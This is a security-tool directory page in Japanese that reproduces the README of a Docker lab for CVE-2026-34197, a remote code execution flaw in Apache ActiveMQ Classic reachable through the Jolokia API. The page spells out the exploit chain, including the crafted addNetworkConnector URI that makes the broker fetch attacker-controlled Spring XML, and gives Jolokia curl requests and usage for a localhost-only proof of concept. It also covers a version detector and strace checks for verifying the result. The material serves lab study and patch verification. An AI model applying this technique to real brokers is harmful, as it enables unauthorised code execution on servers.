Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-34197-Lab — DockerラボでCVE-2026-34197を実演します。これはApache ActiveMQ ClassicのJolokiaを介したRCEです。安全な検出器と、固定コマンドを使用したローカルのみのPoCが含まれており、脆弱なバージョンとパッチ適用済みバージョンを比較します。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

DockerラボでCVE-2026-34197を実演します。これはApache ActiveMQ ClassicのJolokiaを介したRCEです。安全な検出器と、固定コマンドを使用したローカルのみのPoCが含まれており、脆弱なバージョンとパッチ適用済みバージョンを比較します。

リポジトリを見る
125ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE ラボ

概要

このリポジトリは、Jolokia JMX-HTTP API 経由で到達可能な Apache ActiveMQ Classic のリモートコード実行問題である CVE-2026-34197 を研究するためのローカル Docker ラボです。

このラボでは、2つの ActiveMQ Classic インスタンスを並べて比較します:

サービスバージョン目的URL
vuln5.19.3脆弱なターゲットhttp://127.0.0.1:8081
patched5.19.4パッチ適用済み比較ターゲットhttp://127.0.0.1:8082

このリポジトリには2つの証明スクリプトが含まれています:

スクリプト目的安全性モデル
poc/detect.py認可された検出器HTTP のみ。悪用はしない
poc/poc.pyローカルのみの RCE パス証明固定コマンドのみ: id; whoami; sleep 5

実行の証拠は、strace などのプロセス観測ツールを使用して、オペレーターが別途検証します。


脆弱性の概要

CVE-2026-34197 は、認証されたユーザーが Jolokia API を使用してブローカー管理操作を呼び出し、細工された brokerConfig=xbean:http://... URI を通じてブローカー JVM に攻撃者制御の Spring XML をロードさせることができる Apache ActiveMQ Classic のバージョンに影響します。

このラボで実証される脆弱なフローは次のとおりです:

Jolokia /api/jolokia/
  -> Broker MBean 操作
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> リモート Spring XML フェッチ
  -> ProcessBuilder Bean 初期化
  -> 固定ローカル証明コマンド

パッチ適用済みサービスは、XML がフェッチされる前にこのパスをブロックし、次のようなエラーを返します:

VM scheme is not allowed

リポジトリ構造

.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

ファイルの役割

  • docker-compose.yml は、脆弱な ActiveMQ サービスとパッチ適用済み ActiveMQ サービスを実行します。
  • vuln/Dockerfile は Apache ActiveMQ Classic 5.19.3 をビルドします。
  • patched/Dockerfile は Apache ActiveMQ Classic 5.19.4 をビルドします。
  • poc/detect.py は、Jolokia の露出、ActiveMQ のバージョン、Broker MBean の可視性をチェックします。
  • poc/poc.py は、固定された無害なコマンドを使用してローカルのみの RCE パスをトリガーします。
  • images/strace.png には、脆弱なサービスからのローカルプロセス観測の証拠が含まれています。
  • .gitignore は、ローカルアーティファクト、Python キャッシュファイル、仮想環境、ログ、シークレットを除外します。

安全性の境界

このリポジトリは、ローカルラボでの使用および認可されたセキュリティ検証のみを目的としています。

PoC は意図的に制約されています:

  • 非ローカルターゲットを拒否します。
  • 任意のコマンドを受け入れません。
  • 固定コマンドのみを使用します: id; whoami; sleep 5。
  • コールバックを通じてコマンド出力を収集しません。
  • strace などのオペレーター制御による個別の観測に依存します。

poc.py で許可されるローカルターゲット:

127.0.0.1
localhost
::1

所有していない、またはテストする明示的な許可がないシステムに対してこのリポジトリを使用しないでください。


ラボのセットアップ

ラボのビルドと起動

docker compose down -v
docker compose build
docker compose up -d

サービスステータスの確認:

docker compose ps

期待されるサービス:

cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

Jolokia バージョンエンドポイントの確認

脆弱なサービスの確認:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

パッチ適用済みサービスの確認:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

期待されるバージョン:

8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

検出器の使用方法

poc/detect.py は安全なデフォルトスクリプトです。ターゲットを悪用しません。

以下をチェックします:

  1. /api/jolokia/version にアクセスできるかどうか;
  2. 認証が必要かどうか;
  3. 製品が Apache ActiveMQ かどうか;
  4. ActiveMQ のバージョン;
  5. Broker MBean が Jolokia 検索を通じて表示されるかどうか;
  6. バージョンが影響を受ける範囲に該当するかどうか。

両方のラボサービスに対して検出器を実行

python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

期待される結果:

http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

検出器で脆弱と見なされるものは何ですか?

検出器は、次の場合にターゲットを LIKELY_VULNERABLE としてマークします:

Jolokia にアクセス可能
+
ActiveMQ バージョンが影響を受ける範囲内

このラボで使用される影響を受ける範囲:

5.x < 5.19.4
6.x < 6.2.3

Broker MBean の可視性は、悪用パスがブローカー管理操作に依存するため、信頼性の証拠として使用されます。

検出器は CONFIRMED_RCE を主張しません。


ローカルのみの RCE パス PoC

poc/poc.py は、ローカル Docker ラボで RCE パスを実証します。

ホスト上で一時的な HTTP サーバーを起動し、実行ごとのパスで Spring XML ペイロードを提供します:

/evil-<nonce>.xml

次に、Jolokia を通じて ActiveMQ Broker MBean を呼び出します:

addNetworkConnector(java.lang.String)

細工されたディスカバリ URI を使用:

static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

脆弱なブローカーはこの XML をフェッチします。パッチ適用済みブローカーは、XML をフェッチする前に vm:// トランスポートスキームをブロックします。

重要な動作

脆弱な実行後、作成された NetworkConnector が古い XML パスのフェッチを再試行する場合があります。スクリプトは、実行ごとの nonce を使用し、誤検知を避けるために matches_current_run を追跡します。

ヒットは、次の条件に一致する場合にのみ現在の実行としてカウントされます:

/evil-<current-nonce>.xml

脆弱なサービスに対して PoC を実行

python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

期待される出力:

[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

これにより、ActiveMQ 5.19.3 が Jolokia 管理ブローカーパスを通じて攻撃者制御の Spring XML をフェッチできることが確認されます。


パッチ適用済みサービスに対して PoC を実行

python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

期待される出力:

VM scheme is not allowed
[-] No XML fetch observed for this run.

古い脆弱な実行からのヒットが表示される場合、次のように表示されるはずです:

"matches_current_run": false

これらはパッチ適用済みサービスの成功としてカウントされません。


strace でコマンド実行を確認

PoC スクリプトはコマンド出力を収集しません。コマンド実行を確認するには、脆弱なコンテナ内のプロセス作成を観察します。

root として脆弱なコンテナに入ります:

docker exec -it --user root cve-2026-34197-vuln bash

Java プロセスを見つけます:

pgrep -af java

Java PID に strace をアタッチします:

strace -f -e execve -p <JAVA_PID>

別のターミナルで、脆弱なサービスに対して PoC を実行します:

python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

期待される strace の証拠:

execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

これは、固定された証明コマンドがブローカー JVM によって実行されたことを示す OS レベルの証拠です。

strace コマンド実行の証拠


実行間のクリーンアップ

PoC は、トリガーする前にデフォルトの NetworkConnector 名 NC の削除を試みます。これにより、繰り返しのラボ実行が予測可能に保たれます。

手動クリーンアップ:

curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

またはラボを再起動します:

docker compose restart vuln patched

期待されるラボ結果

テスト脆弱な 5.19.3パッチ適用済み 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia アクセス認証付きでアクセス可能認証付きでアクセス可能
Broker MBean表示可能表示可能
poc.py XML フェッチはいいいえ
パッチ適用済みブロックシグネチャN/AVM scheme is not allowed
strace コマンドの証拠/bin/sh -c 'id; whoami; sleep 5'期待されない

参考資料

ツールをダウンロード